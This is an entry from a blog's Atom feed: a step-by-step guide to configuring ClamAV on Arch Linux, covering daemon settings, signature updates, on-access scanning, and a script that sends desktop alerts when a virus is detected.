&lt;/div&gt;</content><category term="Linux"/><category term="wget"/><category term="komut satırı"/><category term="linux"/><category term="sorun giderme"/></entry><entry><title>Full-Spectrum Paranoia on Linux: A-Z Security with ClamAV</title><link href="https://yuceltoluyag.github.io/en/linux-guvenlik-clamav-tam-kapsamli-rehber/" rel="alternate"/><published>2025-11-14T02:30:00+03:00</published><updated>2025-11-14T02:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-14:/en/linux-guvenlik-clamav-tam-kapsamli-rehber/</id><summary type="html">&lt;p&gt;Forget the previous guide. This time, we're NOT just installing a daemon; we're unleashing ClamAV's full potential, from notifications and VirusEvent to email scanning with milter, multi-core tricks, and all possible debugging.&lt;/p&gt;</summary><content type="html">&lt;h2 id="introduction-why-are-we-still-dealing-with-this"&gt;Introduction: Why Are We Still Dealing With This?&lt;a class="headerlink" href="#introduction-why-are-we-still-dealing-with-this" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's put aside the myth that "Linux doesn't get viruses." This complacency has become our biggest security vulnerability. Our market share may be low compared to Windows, which is why big companies don't bother releasing specialized "Endpoint Security" packages for us. Existing tools often lack the advanced features of their Windows counterparts.&lt;/p&gt;
&lt;p&gt;But the world has changed. Linux servers, IoT devices... The attack surface grows every day, and the number of Linux-based malware is also increasing.&lt;/p&gt;
&lt;p&gt;In this environment, one of the most robust, open-source, and actively developed strongholds we have is &lt;strong&gt;Clam AntiVirus (ClamAV)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;ClamAV is an antivirus toolkit for UNIX systems. Since it's typically used on file/mail servers, it focuses on detecting malware with its built-in signatures; it's not a traditional "endpoint security" package. We will configure it like a server.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="step-1-installation-and-toolkit"&gt;Step 1: Installation and Toolkit&lt;a class="headerlink" href="#step-1-installation-and-toolkit" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;As always, we're going with Arch (or its derivatives):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;clamav
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This command doesn't just install &lt;code&gt;clamav&lt;/code&gt;; it gives us a Swiss Army knife:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamd&lt;/code&gt;&lt;/strong&gt;: Our main target. The background service (daemon).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamonacc&lt;/code&gt;&lt;/strong&gt;: Real-time protection (On-Access) service. Communicates with &lt;code&gt;clamd&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamdscan&lt;/code&gt;&lt;/strong&gt;: A fast client that scans via the &lt;code&gt;clamd&lt;/code&gt; daemon.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamdtop&lt;/code&gt;&lt;/strong&gt;: An interface to monitor &lt;code&gt;clamd&lt;/code&gt;'s resource usage (like the &lt;code&gt;top&lt;/code&gt; command).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;freshclam&lt;/code&gt;&lt;/strong&gt;: Virus signature database update tool.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamconf&lt;/code&gt;&lt;/strong&gt;: Tool for creating and checking configuration files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All these tools communicate with &lt;code&gt;clamd&lt;/code&gt; via a &lt;strong&gt;socket&lt;/strong&gt;. By default, this is done via a "LocalSocket" (a local Unix socket).&lt;/p&gt;
&lt;h4 id="tcp-socket-warning-for-professionals"&gt;⚠️ TCP Socket Warning (For Professionals)&lt;a class="headerlink" href="#tcp-socket-warning-for-professionals" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;ClamAV also allows remote communication by opening a network socket named "TCPSocket".&lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Absolutely Read: Security Warning If you choose to use &lt;code&gt;TCPSocket&lt;/code&gt; in your &lt;code&gt;clamd.conf&lt;/code&gt; file, be aware that this port has &lt;strong&gt;no authentication or protection whatsoever&lt;/strong&gt;. Generally, use the local Unix socket (&lt;code&gt;LocalSocket&lt;/code&gt;). If you must expose it to the network, you must &lt;em&gt;very&lt;/em&gt; strictly protect this port with firewall rules.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;For more information, you can refer to these resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.clamav.net/2016/06/regarding-use-of-clamav-daemons-tcp.html" rel="noopener noreferrer" target="_blank"&gt;Detailed Information (Official Blog)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Detailed Information (Manual): &lt;a href="https://docs.clamav.net/manual/Usage/Scanning.html#clamd-v0101" rel="noopener noreferrer" target="_blank"&gt;TCP Socket Configuration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Also, remember that when using &lt;code&gt;LocalSocket&lt;/code&gt;, &lt;code&gt;clamd&lt;/code&gt; must run under a user (usually &lt;code&gt;clamav&lt;/code&gt; user) who has read access to the files you plan to scan.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="step-2-creating-configuration-files"&gt;Step 2: Creating Configuration Files&lt;a class="headerlink" href="#step-2-creating-configuration-files" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The package should come with default &lt;code&gt;.conf&lt;/code&gt; files. If not, or if you want to create them from scratch, &lt;code&gt;clamconf&lt;/code&gt; is for that:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# If necessary (usually not needed)&lt;/span&gt;
&lt;span class="c1"&gt;# sudo clamconf -g freshclam.conf &amp;gt; /etc/clamav/freshclam.conf&lt;/span&gt;
&lt;span class="c1"&gt;# sudo clamconf -g clamd.conf &amp;gt; /etc/clamav/clamd.conf&lt;/span&gt;
&lt;span class="c1"&gt;# sudo clamconf -g clamav-milter.conf &amp;gt; /etc/clamav/clamav-milter.conf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Our main configuration files are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;freshclam&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;/etc/clamav/freshclam.conf&lt;/code&gt; (For updates)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamd&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;/etc/clamav/clamd.conf&lt;/code&gt; (The daemon's brain)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamd milter&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;/etc/clamav/clamav-milter.conf&lt;/code&gt; (For email filter)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you're done, you can check your settings by running the &lt;code&gt;clamconf&lt;/code&gt; command. The default installation already sets up the &lt;code&gt;clamav&lt;/code&gt; user, group, and necessary &lt;code&gt;clamd&lt;/code&gt; settings to a "reasonable" level.&lt;/p&gt;
&lt;p&gt;But we won't settle for "reasonable."&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="step-3-clamdconf-the-brain-of-the-beast-full-version"&gt;Step 3: &lt;code&gt;clamd.conf&lt;/code&gt; &amp;ndash; The Brain of the Beast (Full Version)&lt;a class="headerlink" href="#step-3-clamdconf-the-brain-of-the-beast-full-version" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Open the file with &lt;code&gt;sudo nano /etc/clamav/clamd.conf&lt;/code&gt; and find the following settings, uncomment or add them. This is my recommended "paranoid but performant" settings list:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# /etc/clamav/clamd.conf&lt;/span&gt;

&lt;span class="c1"&gt;# Add a timestamp to every message. Saves lives when debugging.&lt;/span&gt;
&lt;span class="c1"&gt;# Default: no&lt;/span&gt;
&lt;span class="na"&gt;LogTime yes&lt;/span&gt;

&lt;span class="c1"&gt;# Provide ADDITIONAL information like file size, hash when a virus is found.&lt;/span&gt;
&lt;span class="na"&gt;ExtendedDetectionInfo yes&lt;/span&gt;

&lt;span class="c1"&gt;# REQUIRED for security. Run the daemon as 'clamav' user.&lt;/span&gt;
&lt;span class="c1"&gt;# (clamd needs to be started as root to make this change)&lt;/span&gt;
&lt;span class="c1"&gt;# Default: drop privileges&lt;/span&gt;
&lt;span class="na"&gt;User clamav&lt;/span&gt;

&lt;span class="c1"&gt;# How deep will it go into directories?&lt;/span&gt;
&lt;span class="c1"&gt;# Default: 15&lt;/span&gt;
&lt;span class="na"&gt;MaxDirectoryRecursion 20&lt;/span&gt;

&lt;span class="c1"&gt;# Detect Potentially Unwanted Applications (PUA).&lt;/span&gt;
&lt;span class="c1"&gt;# 'Tools' downloaded from torrents are usually considered PUA. Definitely 'yes'.&lt;/span&gt;
&lt;span class="na"&gt;DetectPUA yes&lt;/span&gt;

&lt;span class="c1"&gt;# Enable Heuristic scanning. Catches unknown but suspicious-looking items.&lt;/span&gt;
&lt;span class="na"&gt;HeuristicAlerts yes&lt;/span&gt;

&lt;span class="c1"&gt;# === Scan Targets (Enable all) ===&lt;/span&gt;
&lt;span class="na"&gt;ScanPE yes&lt;/span&gt;
&lt;span class="na"&gt;ScanELF yes&lt;/span&gt;
&lt;span class="na"&gt;ScanOLE2 yes&lt;/span&gt;
&lt;span class="na"&gt;ScanPDF yes&lt;/span&gt;
&lt;span class="na"&gt;ScanSWF yes&lt;/span&gt;
&lt;span class="na"&gt;ScanXMLDOCS yes&lt;/span&gt;
&lt;span class="na"&gt;ScanHWP3 yes&lt;/span&gt;
&lt;span class="na"&gt;ScanOneNote yes&lt;/span&gt;
&lt;span class="na"&gt;ScanMail yes&lt;/span&gt;
&lt;span class="na"&gt;ScanHTML yes&lt;/span&gt;
&lt;span class="na"&gt;ScanArchive yes&lt;/span&gt;
&lt;span class="na"&gt;Bytecode yes&lt;/span&gt;

&lt;span class="c1"&gt;# === Alerts (Enable these too) ===&lt;/span&gt;
&lt;span class="na"&gt;AlertBrokenExecutables yes&lt;/span&gt;
&lt;span class="na"&gt;AlertBrokenMedia yes&lt;/span&gt;
&lt;span class="na"&gt;AlertEncrypted yes&lt;/span&gt;
&lt;span class="na"&gt;AlertEncryptedArchive yes&lt;/span&gt;
&lt;span class="na"&gt;AlertEncryptedDoc yes&lt;/span&gt;
&lt;span class="na"&gt;AlertOLE2Macros yes&lt;/span&gt;
&lt;span class="na"&gt;AlertPartitionIntersection yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="step-4-updating-the-database-freshclam"&gt;Step 4: Updating the Database (&lt;code&gt;freshclam&lt;/code&gt;)&lt;a class="headerlink" href="#step-4-updating-the-database-freshclam" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We need the database before starting the daemon.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Update manually (required for first run)&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;freshclam
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you are behind a proxy, edit the &lt;code&gt;HTTPProxyServer&lt;/code&gt;, &lt;code&gt;HTTPProxyPort&lt;/code&gt;, etc. settings in &lt;code&gt;/etc/clamav/freshclam.conf&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Database files (&lt;code&gt;daily.cvd&lt;/code&gt;, &lt;code&gt;main.cvd&lt;/code&gt;, &lt;code&gt;bytecode.cvd&lt;/code&gt;) are saved in &lt;code&gt;/var/lib/clamav/&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id="automatic-updates-service-vs-timer"&gt;Automatic Updates: Service vs. Timer&lt;a class="headerlink" href="#automatic-updates-service-vs-timer" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;You have &lt;strong&gt;two&lt;/strong&gt; options for automatic updates. Do not run both.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamav-freshclam.service&lt;/code&gt; (Daemon Mode):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This runs &lt;code&gt;freshclam&lt;/code&gt; as a daemon and checks for updates 12 times a day (every 2 hours) by default.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Note:&lt;/strong&gt; This service also checks on every start. If you check more than once an hour, you will be &lt;strong&gt;banned&lt;/strong&gt; from the ClamAV CDN for 24 hours.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamav-freshclam-once.timer&lt;/code&gt; (Timer Mode):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is a systemd timer that runs &lt;code&gt;freshclam&lt;/code&gt; once a day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Note:&lt;/strong&gt; This timer adheres to your set schedule regardless of reboots or service stoppages.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I generally prefer the &lt;code&gt;.service&lt;/code&gt; option.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Let's create the necessary log file (permissions are important)&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;touch&lt;span class="w"&gt; &lt;/span&gt;/var/log/clamav/freshclam.log
sudo&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;600&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/var/log/clamav/freshclam.log
sudo&lt;span class="w"&gt; &lt;/span&gt;chown&lt;span class="w"&gt; &lt;/span&gt;clamav&lt;span class="w"&gt; &lt;/span&gt;/var/log/clamav/freshclam.log

&lt;span class="c1"&gt;# Option 1: Start the Service (Recommended)&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;clamav-freshclam.service
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamav-freshclam.service

&lt;span class="c1"&gt;# Option 2: Start the Timer (Alternative)&lt;/span&gt;
&lt;span class="c1"&gt;# sudo systemctl start clamav-freshclam-once.timer&lt;/span&gt;
&lt;span class="c1"&gt;# sudo systemctl enable clamav-freshclam-once.timer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="step-5-real-time-protection-onaccessscan"&gt;Step 5: Real-time Protection (OnAccessScan)&lt;a class="headerlink" href="#step-5-real-time-protection-onaccessscan" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This is the most enjoyable part. Scanning a file downloaded from a torrent as soon as it's downloaded.&lt;/p&gt;
&lt;h4 id="a-basic-configuration"&gt;A. Basic Configuration&lt;a class="headerlink" href="#a-basic-configuration" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Go back to &lt;code&gt;sudo nano /etc/clamav/clamd.conf&lt;/code&gt; and add/edit these lines:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# /etc/clamav/clamd.conf (SECTION TO ADD)&lt;/span&gt;

&lt;span class="c1"&gt;# Exclude the scanner's own user (clamav) from the scan loop.&lt;/span&gt;
&lt;span class="na"&gt;OnAccessExcludeUname clamav&lt;/span&gt;

&lt;span class="c1"&gt;# Mount point to monitor. '/' monitors the entire system.&lt;/span&gt;
&lt;span class="na"&gt;OnAccessMountPath /&lt;/span&gt;

&lt;span class="c1"&gt;# Alternatively, you can monitor only specific directories:&lt;/span&gt;
&lt;span class="c1"&gt;# OnAccessIncludePath /home&lt;/span&gt;

&lt;span class="c1"&gt;# Scan NEWLY CREATED, MOVED, or RENAMED files.&lt;/span&gt;
&lt;span class="na"&gt;OnAccessExtraScanning yes&lt;/span&gt;

&lt;span class="c1"&gt;# Optional: Exclude processes owned by the root user&lt;/span&gt;
&lt;span class="c1"&gt;# OnAccessExcludeRootUID true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Blocking (Prevention) Setting: VERY CRITICAL &lt;strong&gt;ALWAYS leave &lt;code&gt;OnAccessPrevention no&lt;/code&gt; as &lt;code&gt;no&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Blocking with &lt;code&gt;OnAccessMountPath&lt;/code&gt; (&lt;code&gt;yes&lt;/code&gt;) does not work anyway. It works with &lt;code&gt;OnAccessIncludePath&lt;/code&gt;, but if you set it to &lt;code&gt;yes&lt;/code&gt; while monitoring system directories like &lt;code&gt;/usr&lt;/code&gt;, &lt;code&gt;/etc&lt;/code&gt;, or &lt;code&gt;/var&lt;/code&gt;, as the Arch Wiki warns, &lt;strong&gt;you can slow down your package installations by 1000 times.&lt;/strong&gt; Our goal is not to 'block' but to 'detect and be notified'.&lt;/p&gt;
&lt;/div&gt;
&lt;h4 id="b-overcoming-permission-issues-with-fdpass-advanced"&gt;B. Overcoming Permission Issues with &lt;code&gt;fdpass&lt;/code&gt; (Advanced)&lt;a class="headerlink" href="#b-overcoming-permission-issues-with-fdpass-advanced" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;By default, &lt;code&gt;clamonacc&lt;/code&gt; (running as root) only sends the accessed &lt;em&gt;filenames&lt;/em&gt; to &lt;code&gt;clamd&lt;/code&gt; (running as clamav). If the &lt;code&gt;clamav&lt;/code&gt; user does not have read permission for that file, the scan will fail.&lt;/p&gt;
&lt;p&gt;Solution: Make &lt;code&gt;clamonacc&lt;/code&gt; pass the file descriptor (&lt;code&gt;fdpass&lt;/code&gt;) to &lt;code&gt;clamd&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For this, we need to edit the &lt;code&gt;clamav-clamonacc.service&lt;/code&gt; service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# To edit the systemd service file&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;edit&lt;span class="w"&gt; &lt;/span&gt;clamav-clamonacc.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Paste the following into the empty file that opens:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Service]&lt;/span&gt;
&lt;span class="na"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="na"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/sbin/clamonacc -F --fdpass --log=/var/log/clamav/clamonacc.log&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This deletes the existing &lt;code&gt;ExecStart&lt;/code&gt; command and adds a new one with the &lt;code&gt;--fdpass&lt;/code&gt; flag.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="step-6-setting-up-desktop-notifications"&gt;Step 6: Setting Up Desktop Notifications&lt;a class="headerlink" href="#step-6-setting-up-desktop-notifications" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;So far, ClamAV only silently writes to the log file when it finds a virus. We want to see an alert on our desktop.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Edit &lt;code&gt;clamd.conf&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Add this line to &lt;code&gt;sudo nano /etc/clamav/clamd.conf&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;VirusEvent /etc/clamav/virus-event.bash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This tells &lt;code&gt;clamd&lt;/code&gt; to "run this script when a virus is found."&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Grant &lt;code&gt;sudoers&lt;/code&gt; Permission&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We need to allow the &lt;code&gt;clamav&lt;/code&gt; user to run the &lt;code&gt;notify-send&lt;/code&gt; command on behalf of other users.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;visudo&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/etc/sudoers.d/clamav
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Add this line to the empty file that opens:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;clamav&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;NOPASSWD&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SETENV&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;notify&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;send&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;3. Create the &lt;code&gt;virus-event.bash&lt;/code&gt; Script&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now let's create that script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/etc/clamav/virus-event.bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Paste this inside:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/bin
&lt;span class="nv"&gt;ALERT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ClamAV Signature Detection: &lt;/span&gt;&lt;span class="nv"&gt;$CLAM_VIRUSEVENT_VIRUSNAME&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$CLAM_VIRUSEVENT_FILENAME&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Send notification to all active graphical users&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ADDRESS&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/run/user/*&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;USERID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ADDRESS&lt;/span&gt;&lt;span class="p"&gt;#/run/user/&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;/usr/bin/sudo&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#&lt;/span&gt;&lt;span class="nv"&gt;$USERID&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;DBUS_SESSION_BUS_ADDRESS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"unix:path=&lt;/span&gt;&lt;span class="nv"&gt;$ADDRESS&lt;/span&gt;&lt;span class="s2"&gt;/bus"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;/usr/bin/notify-send&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;critical&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;dialog-warning&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"VIRUS FOUND!"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ALERT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;4. Make the Script Executable&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;/etc/clamav/virus-event.bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now, when &lt;code&gt;clamd&lt;/code&gt;'s OnAccess scan finds something, you'll see a critical notification on your desktop.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="step-7-starting-services-igniting-the-engine"&gt;Step 7: Starting Services (Igniting the Engine)&lt;a class="headerlink" href="#step-7-starting-services-igniting-the-engine" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Everything is ready. First, make sure you've updated the database (Step 4).&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;RAM Warning Starting the daemon loads all virus signatures into RAM. As of February 2024, this requires &lt;strong&gt;at least 1.6 GB of free RAM&lt;/strong&gt;. At the time of update, this need can temporarily double. On low-RAM systems (if &lt;code&gt;clamd&lt;/code&gt; doesn't start), you may need to create swap space.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Start the main daemon&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;clamav-daemon.service
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamav-daemon.service

&lt;span class="c1"&gt;# Start the real-time protection daemon&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;clamav-clamonacc.service
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamav-clamonacc.service
